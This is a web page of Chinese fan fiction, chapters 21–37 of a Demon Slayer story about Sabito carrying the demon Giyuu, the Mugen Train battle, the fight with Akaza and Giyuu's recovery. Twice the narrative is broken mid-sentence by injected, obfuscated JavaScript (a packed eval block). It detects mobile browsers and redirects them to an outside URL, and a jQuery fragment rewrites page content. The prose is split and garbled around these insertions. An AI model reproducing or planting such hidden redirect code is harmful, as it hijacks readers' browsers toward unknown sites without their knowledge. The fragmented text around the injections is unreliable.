沉睡可以恢复肉|体伤势,但无法阻止消极情绪的入侵,义勇用亲身体验证明了这一点。 他正默默蜷着膝盖在意识深处反思。 ——没有隐藏好鬼的身份在人类面前暴露了。 ——控制不住进食的欲望伤害到了那两个人类。 ——在剑士面前显示了疯狂丑陋的一面,丢脸地被控制住,就像失去理智的动物。 一项就足够让人无措,更何况几种情绪叠加,他真的,不知道该怎样处理了。即使在沉睡中意识不清楚,也时刻感受着不安和愧疚。 所以和以往不同,义勇几乎是怀抱着自暴自弃的心态,放纵自己失去了意识,经过几天的路途,被锖兔背在身后的他始终没有苏醒的迹象。 21 如果当时不和人类接触就好了。就不会有以后,也不会犯错。 ——鬼是一种充满悲伤和空虚的生物,不会获得普世的幸福。 在被各种情绪折磨的间隙中,义勇的脑海里突然冒出了这一句话,残酷的如刺耳的锣鼓声刺穿了脑海。 像他一样的鬼,没有前生没有往后,见不了日光眼里没有明媚,只能躲在狭窄的山洞里眷恋着人世,在空虚的日子里伪装成人类活着,一向情绪平稳的他忽然感到了恶心和可悲。 坚持认为自己只是有一点难过,义勇没意识到他在现实里开始无声息地全身痉挛,嘴唇被尖利的牙齿咬破,鲜血四溢。 紫藤花纹之家,正守着箱子读信的锖兔闻到一股突然的血腥味,他心里一惊将信纸扔到一边毫不犹豫地打开了箱子。 箱门被猛地打开,义勇在身上抓挠的双手被一只有力的手臂圈起来,下颌被手指紧箍住无法闭合,很快冰凉的竹制口枷塞进嘴里迫使他无法继续自我伤害。即使如此义勇仍感到非常痛苦和恐惧,下意识挣扎着,也没意识到自己在哭。就这样僵持着过了一会儿,义勇忽然感受到一阵非常温暖的感觉——他被锖兔从箱子里捞出来紧紧抱住了。 对不起、对不起。 低声说了很多句抱歉,强迫着给鬼戴上口枷,无视挣扎把怀里的鬼紧紧束缚着,过了很久挣扎才停下来。确定是没力气了,锖兔松开了手臂专注地看着怀里的人。就算在潜意识里也怕影响别人,义勇连痛苦都是很安静的。从小时候姐姐去世,义勇称是鬼杀死了姐姐却无人相信甚至被送去看医生,到来到狭雾山和他相识,锖兔知道义勇一直都缺乏安全感,容易自轻自贱,觉得自己是可有可无的存在——这一点他绝不认同。 月亮逐渐升起,锖兔没把沉睡的鬼放回箱子,而是像前几天一样让他呆在能晒到月亮的角落,自己跟着靠在旁边休息,不时安抚地摸摸他的头发。从以前到现在,义勇一直都非常努力且认真,变成鬼又怎样,义勇对他来说一直都是非常珍贵、无可代替的存在。 鎹鸦送来的信里是同伴的有关未来几天的一个任务的援助请求,应该是考虑到刚好他在附近,于是顺手来的信。锖兔写好了答应前往支援的回复,说明自己因特殊原因难以定时赶到,不过一定会以最快速度支援。鎹鸦带着回信星夜返回,来信则被展开放到了一边的桌子上。 署名——炼狱杏寿郎。 任务名——无限列车。 22 梦中被无边的黑暗包裹着,义勇一直在重复回忆着自己有意识以来经历过的事,周围很柔软很温暖,似乎回到了熟悉的山洞里。 说起来山洞虽然狭窄但是封闭性很好,可以避免风吹日晒,关上门后就可以放心去狩猎眼睛和脑子疑似有坑的其他同类——义勇不明白为什么他们甘愿冒着变成碎块的风险也要来附近散步。 在山洞里是绝对安全的,义勇对这个梦非常满意。于是,他像鸵鸟一样把自己寄托在了这个梦里。 但逐渐的义勇不太淡定了。 在梦里男人女人找到他的山洞笑着请他去吃晚饭,义勇面无表情地站在门口拒绝了,两人安安静静地继续看着他。 看着两双充满疑惑的眼睛,过了一会儿义勇的头低了下去,“我很抱歉。” “对不起。” 他听不到回答,所以无法释怀,只能一遍遍重复着这个循环。 23 任务当晚,无限列车在铁轨上驰骋,今晚过后,也许列车上的所有人都会被提前送往人生的终点,无论天堂还是地狱。 灶门炭治郎已经成功从使人入梦的血鬼术中清醒,正在列车车顶和魇梦对峙。他不清楚炼狱先生和善逸伊之助他们情况如何,只能在心里期盼同伴们尽快苏醒。在一次次中了血鬼术又立刻自戕醒来,在车顶翻转腾挪的间隙中,炭治郎闻到了熟悉的气味,他惊喜道:“鳞泷先生——!” 轨道附近的草地上一个熟悉的人影正逐渐与列车并行,速度快到模糊。 锖兔没来得及和他们一起坐上列车,但还是在发车后追了上来,正一边看向他一边背着箱子速度极快地接近行驶的列车,速度快到不可思议。这就是柱吗?炭治郎注意到就在瞬间以后,锖兔一跃而上打破玻璃跳进了后面一节车厢。 坚定让人信服的喊声传了过来,“做得很好,坚持一下我马上过来!”让炭治郎感动得想哭。同时注意到情况变化的魇梦果断放弃身体,融入到列车里,决定吞掉所有乘客。 “糟了,要保护车厢里的其他人才行!”炭治郎正打算回到车厢,锖兔行云流水地翻了上来,越过正返回的他往前飞奔。 炭治郎着急:“鳞泷先生!车厢——” “我都知道了,炼狱他们在不用担心。”锖兔很熟练地安慰后辈,“我会去找到鬼的本体,到时候一切都会结束。有我在不用怕。你去和黄色尖叫少年他们汇合一起负责四节车厢,炼狱负责其他四节。” “别担心,事情会很快结束。” “加油啊,炭治郎!” 炭治郎:“……”不愧是柱啊,不管是炼狱先生还是鳞泷先生,都强得可怕,超级可靠! “哦——!”炭治郎发出了信心十足的声音,内心的小人围绕着锖兔洒着小花。 24 另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557051|186887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,我妻善逸一边或躲避或劈砍着车厢里怪物的血肉触手一边散发着肮脏的高音。他是听到一阵陌生的心跳声才惊醒的,直觉告诉他心跳来自一只陌生的强大的鬼,睁开眼就看到了不知怎么回事出现在这的水柱,正一脸嫌弃地看着他。 周围的触手都被水柱一招解决了,背上的箱子被他摘下来轻轻放到干净的一角,善逸知道那个声音就来自水柱带来的箱子,不是祢豆子,因为祢豆子正和他待在一起呢。 “男子汉不要畏畏缩缩的!”特别男子汉的水柱拍着他的肩膀对他说,吩咐他和祢豆子保护两节车厢,伊之助和炭治郎各负责一节车厢,炎柱他已经通知了,炼狱先生负责另一半的四个车厢。 说完后水柱很少见的拜托他,若有余力就帮他照看一下箱子,善逸之前没见过水柱犹豫的样子,虽然只有一瞬间,水柱说:“他要是跟着我会更危险的,不如留在车厢。我相信你们,但若出现意外,请以保护乘客和自己的安全为先。” “我保证,我一定会及时回来的。” 水柱说完后很温柔地摸了摸箱子,没有犹豫地走了。 ——啊啊为什么那么说啊,明明很怕箱子里的鬼受伤吧。 ——明显是很重要的东西,不好好保护怎么行呢。 善逸一边尖叫着砍断伸出来的血肉触手,一边分神思考。水柱和炭治郎都很奇怪,拥有那种耀眼夺目的正义,也有很多人被他们拯救了,炎柱也是,善逸有时候真觉得豁出命杀鬼保护别人的人真的不正常,受伤了很疼,死了就什么都没有了,为什么老往危险的地方窜呢。鬼杀队的都是疯子,鬼杀队真不是什么好差事。 善逸一边尖叫一边在心里吐槽着斩断这头的触手后,靠近箱子的另一边,一根蛰伏已久的巨大触手突然拔了出来。善逸真的要哭了,他一边胡乱骂着鬼和鬼杀队,一边用雷之呼吸赶过去挡在了箱子前面,触手靠近下来,他的心里也开始了走马灯。 死了死了他要死了这次真的要死了。 “爷爷——”早知道他就不来鬼杀队了。 25 ——“我很抱歉。” 在梦里义勇也在认错,他跪坐着有点沮丧地低着头弯着腰,低垂的睫毛掩盖住黯淡的蓝色眼睛。男人女人已经化成了模糊的影子围着他不停旋转。义勇没注意这些,只是觉得肩膀沉重得让他抬不起头。 循环太多次了,义勇只是一味说着自己的想法。 “我做什么都做不好。” “什么都保护不好,总是搞砸一切。” 在梦里机械地说着一些自己也不能理解的句子。 “所以只能藏起来,看着姐姐去死。” 梦里还有一些不认识的人,义勇不理解他们是怎么闯入自己的梦境的。一个穿着红色衣服的女人在对面握着他的肩膀焦急地不停说话。 他感觉心跳越来越沉重了,积累的负面情绪没有出口。所以他越来越痛苦,在清醒地钻着牛角尖。 “我活在世上没有价值。如果我能代替别人去死就好了。” ——“啪”。 说出这句话后,义勇突然感到左脸一痛,他愣住了。好像有谁用力给了他一耳光,更深刻的记忆伴随着痛楚穿透了无形的缝隙。 “不许再说[如果死的是自己就好了]这样的屁话!你哪怕再说上一次,我都会当场和你绝交!!!” “……你绝对不能死!你一定要把这份你姐姐豁出命也要托付给你的未来传递下去!!!” 义勇突然感到一阵强烈的迷茫,他记不起这个声音,也不明白为什么自己会听到这些,他努力回想也记不起来,但这绝对是非常重要不该忘记的事吧。 强烈的思念如烈火烧身,义勇竭尽全力也无法勘破记忆的源头,就在这时浓重的杀意和血腥味突然侵入意识打断了回忆,他感到一阵强烈的烦躁和愤怒,怒火灼心,把内心的纠结烧了个干干净净。 只剩下强烈的愤怒,让他想把阻挡自己的一切都撕碎。 26 要死了要死了要死了我要死了。 ——! 善逸哭着闭上眼,却没有攻击落到身上,耳朵里听到的是一阵巨大的轰鸣和毛骨悚然的撕裂声。 他颤巍巍睁开了眼睛,就看到一只手陡然从内部穿透了箱门,青筋暴起,只用了一下就把巨大的触手撕裂扔到一边。门被缓缓推开,一个叼着竹筒口枷的少年钻了出来,随着站起来的动作身形逐渐拉长,最后一个身形高挑,长相干净漂亮的鬼挡在了善逸跟前,鬼的左脸上,正逐渐蔓延起一片水蓝色如波浪的纹路。 红色的袖子往后微伸,护住了可怜兮兮流着眼泪的善逸。 善逸不知为何更想哭了。 义勇眼中的迷茫和愤怒还未散去,困惑地盯着身后大呼小叫的黄色蒲公英少年。 不禁歪了歪头,“……?” 5. 第 5 章 27 “……” 义勇在非常困惑地盯着满脸鼻涕眼泪的人类少年。 黄色蒲公英少年不知为何非常激动的样子,抱着箱子在角落里拱来拱去,是想像他一样钻到箱子里去吗? 刚恢复意识从箱子里出来的义勇:“……” 人类身上总有一些他无法理解的事,就像被他伤害的那对夫妻一样,在身份暴露前对他保有着不知哪里来的善意,而黄色蒲公英少年,在义勇恍惚的印象里,似乎也相当勇敢地站在了箱子前面呢。难道那是幻觉吗?义勇在紧张的局势下还在一点点思考,不如说他一直缺少阅读空气的技能,在感知气氛方面非常单细胞呢。 顾不上太多,恶心的触手不停生长,义勇面无表情地靠近了善逸,在他惊恐的眼神中把人抄起来面朝下扛在肩上,保持这个姿势在车厢里飞速穿梭,单手撕裂着怪物的血肉。 善逸:“……”一开始他真的被吓到了,祢豆子是鬼中不会伤害人类的特例(祢豆子是最可爱的!),他能通过声音感受到水柱带来的鬼的强大,也许被触手碰到了也没事呢绝对是这样吧,但身体就是不听指挥地冲上去了,于是自己这次真的要死了,结果一睁开眼那粗壮到突兀的触手就被钻出来的鬼撕开了——跟撕裂纸张一样!可怕的鬼(实话说长相并不可怕)还转头俯视着他,那张脸给人带来的感觉和祢豆子完全不同,超级冷淡超级难接近啊!好像看小虾米一样盯着他!所以绝对不能靠近!靠近了绝对会被一起撕裂掉!他宁愿没有存在感地躲起来! 啊啊啊啊啊! 善逸在脑内尖叫着无缝衔接着一连串小剧场,他真的很害怕,像只小鸡仔一样缩了起来……然后就被义勇忽然像扛野猪一样扛了起来,腿被固定住头朝下不能动弹,善逸终于惊恐地尖叫出来了。太恐怖了撕扯血肉的声音就在他头顶,恐惧超过阈值的结果是善逸如愿以偿地昏了过去。 义勇的速度很快,直接抑制了这节车厢里血肉的生长速度,等善逸忽然感到一阵安静时,车厢里的怪物已经不再生了,自己身体一轻被义勇掐着胳肢窝举了起来。 义勇不知道蒲公英少年怎么了,他一直注意没有让他被伤害到,这个人类少年却安静了好一阵,于是他思考了一下,像人类社会里长辈做的一样把善逸当小孩子一样抱着举起来,面无表情地观察他。 黄色少年好像没有突然死掉,呆呆地向下看着他,眼里还有一汪泪水,不时抽泣一下。义勇感到了安心。 义勇:“……”他张了张口,发现自己因为口枷说不了话,于是很淡定地放弃了,思考了一下,转而像举着人偶娃娃一样举着蒲公英少年,上上下下地摇晃着他。 善逸:“……”他不知道该说点什么,就被眼前身形高挑脸上有很美丽花纹的鬼上下抛举着。善逸的大脑一片空白,义勇的大脑因为迷茫也一片空白,只是在做下意识的行为,两只大脑空白的单细胞生物就在安静的车厢里做着抛投游戏。 因为义勇对鬼的抑制提前解决各自车厢的怪物赶来的炼狱杏寿郎&灶门兄妹&伊之助:“……” 鬼背对着他们所以看不到脸,他们只看到忽高忽低的善逸那一脸“我完了我在哪我要干什么”的智慧表情,车厢里弥漫起一阵非常迷茫困惑的空气。 28 诡异的和谐并未维持多久,突然的轰鸣声打破了寂静。所有人耳边都听到了一声凄厉的尖叫,列车开始剧烈震颤,玻璃碎裂,地动山摇,一节节车厢即将脱节,形成巨大的列车事故。 炭治郎被掀翻在地:“地、地震?” “唔!一定是锖兔桑杀掉了鬼!列车和鬼融为了一体,马上要崩溃了!”炼狱杏寿郎反应最快,他看了看拎着善逸的鬼,对方似乎是水柱带来的,也没有恶意的样子,于是果断开始处理现状,安排几位少年分头守护各节车厢的乘客。 只是还未开口,黄色尖叫少年就被抛了过来,炼狱杏寿郎下意识接住他,冰凉潮湿的水流席卷过了所有人。 “血鬼术·逆卷之潮。” 浩瀚的蓝色水波从鬼的手中绽放,逐渐扩大,波动成包裹整个列车的水龙卷,没有破坏,而是环绕在即将断裂成几节的列车外托举着,很快列车被平稳地放到地上,无一人伤亡。 用最快速度稳定了列车,义勇不太想留在现场和这几个疑似鬼杀队的剑士说话。醒来到现在他的意识已经完全清醒,想起了沉睡前在猎户家被抓到的事,所以推断出自己应该是被剑士俘虏了,只是之前剑士不在所以能逃出来,那现在剑士杀鬼成功一定会很快回来。义勇自己也说不清莫名的直觉从何而来,但就是觉得剑士一定在回来找他的路上,而且速度一定很快,所以他抓住列车停下的瞬间翻过了窗户。 “……!” 义勇听到不远处几个人类剑士在朝他喊什么,猫头鹰人类在往他这走了,义勇冷淡地看了他一眼,径自跳下了车,脚下感受到了柔软的草地的触感。 太好了,时隔许久义勇再次感受到了自由新鲜的空气,一阵感动涌上心头。他刚要跑进树林离开,飞速的脚步声逼近,义勇慌了,急忙动作也赶不上,锈发剑士就像闻到香味的猫一样冲了过来,准确地抓住了他的手腕。 “你醒了!?……你要到哪去!?” 义勇:“……”他沉默地看了看被牢牢抓住的手腕。 他真的心累了,每次遇到剑士他都逃不掉,自己的力量在剑士面前根本发挥不出来,他不明白为什么自己每次在剑士面前都很弱气,明明自己也算不弱的鬼了。一次一次在剑士面前吃瘪,上次还因为克制不住饥饿被丢脸地控制起来,他真的,不想再见到剑士了。 锖兔用力抓着义勇的手腕,刚想把他拉过来,手一松,他后仰避过鬼突然伸出的锋利的指甲,险些被划破脖子,义勇已经后翻跳上了列车车顶,面无表情地看着他。虽然没说话,但锖兔就是感到了义勇散发的一点委屈和控诉。 义勇对剑士很不满。 义勇又很想回自己的家。 所以,他冷淡地看着下方聚到一起和他对峙的几只人类。 ——如果只能打一架再走的话那就打吧。 29 义勇没有成功和几只人类打上架。 一只粉色头发气势恐怖的鬼从天而降打破了僵局。 锈发剑士和猫头鹰剑士很严肃,如临大敌地拔刀一左一右对上了鬼。粉色头发的鬼似乎很强,但义勇瞥了一眼就不再看,他没兴趣,只想赶紧离开。剑士铿锵的声音就在此时传了过来:“炭治郎善逸伊之助祢豆子不要靠近!” 锖兔表情格外冷峻地看过来:“帮助疏散乘客,还有,”锖兔的视线转移,义勇被剑士直白的目光钉住了,“拖住车顶的鬼!我们解决完这边就过去!” “……!”义勇浑身僵硬,呆呆地看着锈色头发的剑士。 义勇真的被震惊到了,有强大的敌人在对面剑士却还不放弃要抓他,让他安安静静地消失不好吗,义勇真的很想原地消失。而且,他面无表情地看着最后被留在车顶,一前一后围住他的绿色少年和同为鬼的妹妹,绿色少年还在怕吓到他一样小心翼翼靠近,似乎不想动手只想谈判,巴拉巴拉的很聒噪,鬼妹妹在他背后怕他跑了一样张开手臂呜呜叫着。 义勇:“……”义勇不知道剑士哪来的自信让这些小只的人类留住他。 他作势要硬冲过去,炭治郎只能拔刀不断格挡,义勇知道他们绝不是对手,但炭治郎目光坚定,竟突然主动朝他的爪子凑上来了。义勇一惊,下意识收回了手,手腕反被伸过来的手擒住,绿色少年猛然靠近给了他一记头槌,义勇头晕目眩了瞬间,就被几只人类少年抓住机会呼啦着冲上来扑倒了。 不知哪来的野猪少年抱住他左手,还一边对正战斗的剑士嚷嚷什么,双腿被绿色少年和鬼妹妹按住,绿色少年在很抱歉地不停朝他说话,就连黄色蒲公英少年也哭哭啼啼地抱着他另一条手臂。力气很大但义勇可以挣脱,但一定会伤害到几只人类,义勇不想再看到人类流血了。 所以他很无奈地不再用力,平静了下来。 几名少年担心鬼会挣脱,正紧张地不断用力,忽然感到手下肌肉一松,鬼不再挣扎了,抬头去看时,就见长有水波花纹的鬼眼睛一眨不眨地望着夜空,不太想理他们的样子。 ……而且似乎心情不好,很嫌弃他们。 炭治郎:哎? “对不起对不起鬼先生我知道你不想这样但我们一定要把你留住!”于是非常温柔的灶门家长男开始不停道歉了。 感到抱歉不如直接放开我吧。 “喂权八郎你在胡说什么!俺可要抓住鬼交给中分小褂!” 野猪说话了。义勇默默想。 “啊啊啊为什么我要做这种事啊啊啊!我会被撕烂的吧一定会的吧啊啊啊!” 黄色蒲公英少年紧紧按住他伏到他的胸口上,特别吵。 ……但其实都可以不用太在意,义勇眨眨眼睛侧转过头观察着远处两人一鬼的战局。他有些恍惚,似乎很久之前他也曾像这样不能动弹,也看到过一样的剑士奋力杀鬼的景象。 30 另一边的局势陷入了焦灼。 在战斗的间隙里,猗窝座仍在诚恳地邀请两位柱变成鬼,“杏寿郎、锖兔,跟我一样变成鬼吧。” 锖兔冷哼了一声,“等我把你的脑袋砍下来你就没空说闲话了。”说完他喘口气调整了姿势再次冲了上去,“水之呼吸,陆之型,扭转旋涡。”身体在空中大幅度扭转,巨大的力量集中到刀刃一点,沉重地压在猗窝座抵挡的手臂上,猗窝座同时后退了一步,避开了炼狱杏寿郎从另一方向过来的斩击。 “炎之呼吸,伍之型,炎虎。”火焰如猛虎向前突进,炽热的斩击几乎要将血肉融化。 必须要退一退,猗窝座放任两条手臂被削去,自己一个后空翻从夹击中脱身。他满意地笑了笑,吐了下舌头的瞬间,身体就已经恢复如初。 猗窝座笑对着岿然不动望着他的两人,“这就是鬼的优势,瞬间恢复的强悍肉|体。” “太可惜了,只看肉|体我就能看出你们身体的强悍,你们的斗气千锤百炼,已然接近至高的领域,却因为是人类注定会衰老难以永远维持那份强大。” 义勇在默默听着粉色鬼对剑士他们说话。 “成为鬼吧。只要成为鬼,就会有几百年的时间去磨炼,变得更强,舍弃那些弱小的自己。” 义勇并不认同,若变成鬼的意义只为了变强,至少他自己会觉得,非常悲哀。 锖兔毫不动摇:“我拒绝。舍弃弱小、成为鬼只为了变强?什么屁话!” 剑士的气势还是这么强横,义勇对比了一下面对自己的表现,后知后觉地发现剑士对自己的态度并不算坏,甚至算得上……温柔? 剑士的表情隔着这么远都让人觉得很恐怖,很生气,“父母亲人、挚友都被鬼所害的我,你是站到什么立场说让我变成鬼的……人类弱小又怎样、不能恢复又怎样、一次不行就两次、两次不行就三次,无论再来多少次,哪怕豁出生命我也会把鬼斩杀!哪怕我死了,也会紧紧缠住你们直到地狱!” “我也拒绝。无论变老还是死亡,都是人类这种脆弱生命的美好。正因为会年老会死去,人才如此可爱而高贵,这是另一种更高层次的强大。无论问多少次都一样,我绝不可能变成鬼。” …… …… “既然不同意变成鬼,那我只能杀掉你们。” 立场的绝对冲突,消弭了战斗继续拖延的可能,于是战斗瞬间激烈起来,双方都贯彻了不死不休的战斗信念。 义勇的视野里,血液飞溅,模糊了现实和记忆的界限。 ……弱小而强大的人类? 眼前又出现了那个红色衣服的女人。他记不起来却总能看到她,也许她就是猫头鹰剑士说的弱小又强大的人吧。 ——弱小的、手臂很细没多少力气,却能把年少的弟弟举起来的人类女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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千钧一发之际,锖兔用力把想以命换命的炼狱杏寿郎踢开,猗窝座拳头打空,锖兔自己也被余波波及撞到树上吐了血,在场几人都很狼狈。 锖兔喘着气,肋骨断了,稍微移动就可能插入肺里,他望着正从两个方向逼近他的炼狱杏寿郎和上弦鬼,对自己的生死有了先一步判断。——太阳要出来了,除了自己,这里不会再有人死去。 果然猗窝座先到了他面前,无视锖兔挣扎中日轮刀的伤害掐着他的脖子把他提起来,炼狱站在几步远外拿刀指着他,却顾及同伴不敢直接上前。 太阳要出来了。 猗窝座急切地大声劝说:“你要不要变成鬼?变成鬼吧锖兔,你就不用死可以获得永恒的生命!否则你会死的!”回应他的是人类嘲讽的一笑。 锖兔缓缓把目光移到列车顶上正一动不动盯着他的人身上,义勇……他感到很抱歉。 猗窝座咬紧牙,就要在惋惜和不甘中扭断他的脖子,疾速诡异的脚步声混合着风声逼近,难以抵抗的巨力突然击中了他。手掌受力松开,猗窝座整个身体都被毫无防备地扑倒,力量如此强大,直接带着他冲出了树荫,到了百米外的阳光下。 32 晨光熹微,微弱的日光洒到他们所在的角落。义勇疯狂地压在鬼身上,不管身体因为身下鬼的抵抗受了多重的伤,手臂被折断了就再生手臂,小腿被踢断了就再生一条腿,恐怖的再生速度甚至跟上了上弦的摧残。 浑身都是血,但义勇没有停下,他什么都不在意,哪怕正被阳光灼烧,血肉一块块如碎屑般脱落,剧烈的痛苦让他想直接去死,这些痛苦义勇都能承受。只要能带着鬼一起死——他一口咬断口枷,用牙齿撕扯着鬼脖子的血肉——他要这个鬼去死。 “……疯子!”上弦鬼的求生意志极其强大,猗窝座因为鬼的凶残失神了瞬间,很快挣脱开。义勇的手臂再次被折断又迅速再生,他想起身追上,发现身体已经被灼烧得无法动弹,只能眼睁睁看着鬼逃进树林。 鬼仓皇逃离的背影消失在眼中,义勇只能徒劳地睁大眼睛,倏忽间天光大亮。 啊……啊。 好累。 好痛苦。分不清痛苦是因为身体的极度疼痛,还是看到剑士濒死后心中燃烧的悲伤与愤怒,也许两者皆有。义勇跪在地上茫然而渴望地望着蓝天,他正在被太阳灼烧,很快就会化成灰烬,却忽然感到一阵巨大的幸福。 如果这就是他存在的意义,不如就把此刻温暖的阳光当做自己的归宿吧。 义勇直视着太阳,感到了前所未有的轻松心情。 33 脚步声。 义勇正仰头跪着发呆,忽然被惊醒了。 很多人朝他跑了过来,有猫头鹰剑士,还有绿色少年和黄色蒲公英少年和野猪少年。剑士跌跌撞撞地跑在最前面,可他不是受了伤吗。义勇怔愣地看着冲过来的一群人,侧脸的伤口已经因为阳光失去了愈合的能力,腿动不了,他只能张着嘴看着他们冲上前。 剑士扑了上来,跪在地上用尽力气把他抱得严严实实。剑士在急切地跟他说话,但是耳朵已经听不见了,所以义勇只能困惑地盯着他毫无作为。说实话义勇没有强烈的求生欲望,他认为做了好事之后沐浴着阳光消失已经非常不错。但很快剑士更着急了,似乎是察觉到了他求死的意愿,握着他的肩膀凑近了他,一边说话一边忍不住哭了。 ……哭泣原来也是能出现在剑士脸上的表情啊,义勇怔怔地看着剑士,分辨出了他的口型:“听话,变小!快变小啊!不要被阳光晒到!义勇!活下去!一定要活下去!” “……” 义勇没有动,锖兔失控地抱住了他,“义勇……求求你快变小,我们要一起活下去啊!” “拜托了、拜托了、不要离开我……”他崩溃了。 炼狱杏寿郎也跪在一边殷切又严肃地说着:“感谢您的帮助,但不要轻易放弃生命啊!” 义勇注视着剑士,看剑士不顾形象地执着地抱着他,围在旁边的人类少年们也都一脸要哭不哭的表情,他不明白人类为什么会为不认识的鬼哭泣,可就是发生了,一群人类在为一个鬼感到难过。 义勇:“……” 他没有说话,默默忍着痛苦缩小了身体,身形越来越小,被挡在黑暗里的部分越来越多,缩小到沉睡时的大小后,人类少年的几块羽织盖了下来彻底挡住了阳光。 深沉的倦意再次袭来。 6. 第 6 章 34 如果让其他的鬼看到自己现在的样子,一定会忍不住说他绝对是个奇葩。几年前恢复意识那次是第一次,几个月前从剑士手中逃走是第二次,前不久失控拉着粉色鬼晒太阳是第三次,从没有鬼像他一样热衷于晒日光浴。当然这些只是臆想,毕竟义勇在鬼里也超级不合群呢。他忍不住这样想,也只是太痛苦了需要转移下注意力。 恢复是个缓慢的过程,加上多次再生的巨大消耗,这次恢复比以往用了更长时间。义勇在梦里也在蜷缩着,他依旧能看到那个红色衣服的女人,只是不再抗拒去看她了,并隐约明白了她总出现在梦里的原因,想起了一些过去的事情……人类时期的他目睹了姐姐被鬼吃掉的过程,所以才对同类如此厌恶。 义勇知道鬼不是凭空产生的,也不是生来就有名字的,但从有意识起他就一直在逃避去想这件事,逃避去探究过去的自己,似乎在成为鬼后再想起过去是一件非常恐怖的事。 但现在义勇想起来了,尽管只是童年的零碎记忆,也令他无所适从,意识到家人早在很久前就已死去,自己也变成了同样的怪物,虽然自己一直没吃过人,但还是很无措。因为从有意识起自己就是鬼,一直在作为鬼生活着,所以现在义勇感到很迷茫,自己以后要怎么去生活呢。 暂时没想明白,但自己这次保护了人类,应该也不算非常罪恶吧。义勇默默安慰自己,以此抵抗心中萌生的无处归依的孤独感。 他很不安,本能地放纵自己的意识不断下沉,忽然在梦里感到一阵冰冷的窒息感,沉重的东西压在自己身上要让他窒息了,这让他感到疑惑。 义勇浑身剧痛,挣扎着往上爬,破开了梦里冰凉的墓土,大雨倾盆,义勇努力爬向梦里的某个方向,思念如此强烈,似乎在梦里的某处有自己非常在意的东西,一头卷发的男人就在这时闯进了梦里。 义勇毫无反抗之力地被提了起来,用力挣扎也毫无作用,男人观察着他,露出了非常满意的表情。 “拥有坚韧意志的人类吗,不错。” “变成鬼活下去吧。”于是血液朝着义勇的视野泼洒下来。 35 ——恶心。 翻江倒海的厌恶感涌上来,义勇直接被拽出了梦境,浑身冰冷地从床上翻倒下来不停干呕,口枷也被拽掉了。似乎喝掉了很恶心的东西,义勇分不清梦境现实,直接用爪子往喉咙里扣,刚动作了两下手就被钳住了。 “……!” “不要伤害自己!”义勇不知道剑士为什么在这,也不知道自己在哪,下意识挣扎着也挣脱不开,他现在很虚弱。 所以很没办法的,义勇被剑士强硬地控制住,力气用完了又被搂着一下一下拍着背。过了一会儿义勇实在没力气了,只能放弃挣扎,认命地把下巴搁在剑士的肩上,从心里认为剑士很奇怪,为什么剑士总在对一只鬼执着呢,义勇非常不解。义勇很困,疲倦又侵吞了意识,他就这样靠着剑士迷迷糊糊地睡了过去。 半睡半醒间剑士似乎还说了点什么,义勇也听不清了。 36 蝶屋。 锖兔靠坐在地上搂了一会儿才让义勇平静下来,没把他放回床上,锖兔索性抱着让义勇缩到自己怀里睡着。 怕义勇自己待着,中途醒了会出意外,没有任务的时候锖兔就一直在旁边陪着,不在的时候还拜托了蝶屋的三个姑娘帮忙照顾,为此他不在的时候就给义勇戴上又厚又软的棉花手套,防止他划伤自己。 他正安静呆着,炭治郎敲门进来了,蹑手蹑脚地走进来,一边说着打扰了。祢豆子从放下的箱子里钻出来和哥哥一起围在一边。 炭治郎关心道:“锖兔桑,义勇桑好些了吗?” “在好转,只是有时会做噩梦。”锖兔替义勇感谢了炭治郎的关照,“说起来,义勇算是你的师兄呢。” “咦——?” “但是感觉义勇桑是不太会照顾自己的人呢。”祢豆子也呜呜地赞同自己哥哥的观点。 锖兔:“……”炭治郎有时候相当直白,带着天然的敏锐。他看着两兄妹,表情柔和。 炭治郎跪坐在一边念叨着义勇桑一定要快点好起来,祢豆子好奇地扒拉着义勇红色的衣角,义勇完全不知道正有兄妹二人对着自己念经,也不知道剑士一直在很温柔地抱着他,只是下意识靠近了温暖的热源,也不再做噩梦了。 很温暖,义勇很安心。但不能一直这样,有重要的事在等着他。 义勇想要的,一直是回家。 37 什么都无法阻挡他回家的脚步,于是在锖兔不在的某个夜里,义勇本能地睁开了眼睛。 义勇躺着安静地观察四周,这是个跟上次剑士抓走他后截然不同的房间,月明星稀,月光透过刻意拉开的窗帘照了进来,这么松懈,不怕自己逃走吗。一个人类女孩靠着床边睡着了,衣角被女孩的手压住,义勇注视着那个陌生的人类女孩,垂下睫毛,无声地把袖子抽了出来,顺便像小动物一样摸了摸她的头发。 他本想推开门逃走,又想起上次逃走失败的经历,担心门外可能有人把守,便顺其自然地打开窗户跳了出去。 出乎意料的,对于自己这样一个比较凶残的鬼的俘虏(是的,三番两次被剑士捉到,义勇明白了,相当自然地把自己在鬼杀队的身份定义为俘虏),鬼杀队居然没派人层层把守,义勇感到一丝困惑。顾不上太多,他凭着直觉向着自由出发。 果然,没逃出多久附近就响起了警报声。义勇听到了许多人类的呼声,叫嚷着鬼逃走了之类的,于是更加快了速度在各处死角里穿行。他已经逃出了几百米,微弱的风声接近,义勇向一侧偏转避过刀刃,蝴蝶一样的人类女人轻柔地落到了他旁边。 蝴蝶忍微微皱眉:“鬼先生,您这样乱跑让我稍微有点困扰呢。” 蝴蝶说话了,义勇想。 蝴蝶忍对眼前戴着口枷少年形态的鬼很好奇,也稍微有点无奈。她不想伤害锖兔一直拜托她照顾的鬼,也没有其他敌意,如果醒过来后乖乖呆着就好了,可鬼先生似乎很有性格呢。她一边和义勇说话,一边不动声色,动作隐蔽地拿出了灌有麻醉剂的针筒。 果然不能完全顺利,义勇一边冷静地避让着蝴蝶的攻击同时向竹林的出口移动。这个人类挡不住他,他刚这样想着,炽红的火焰突然出现挡在了前路上,炼狱杏寿郎也从附近赶过来了。 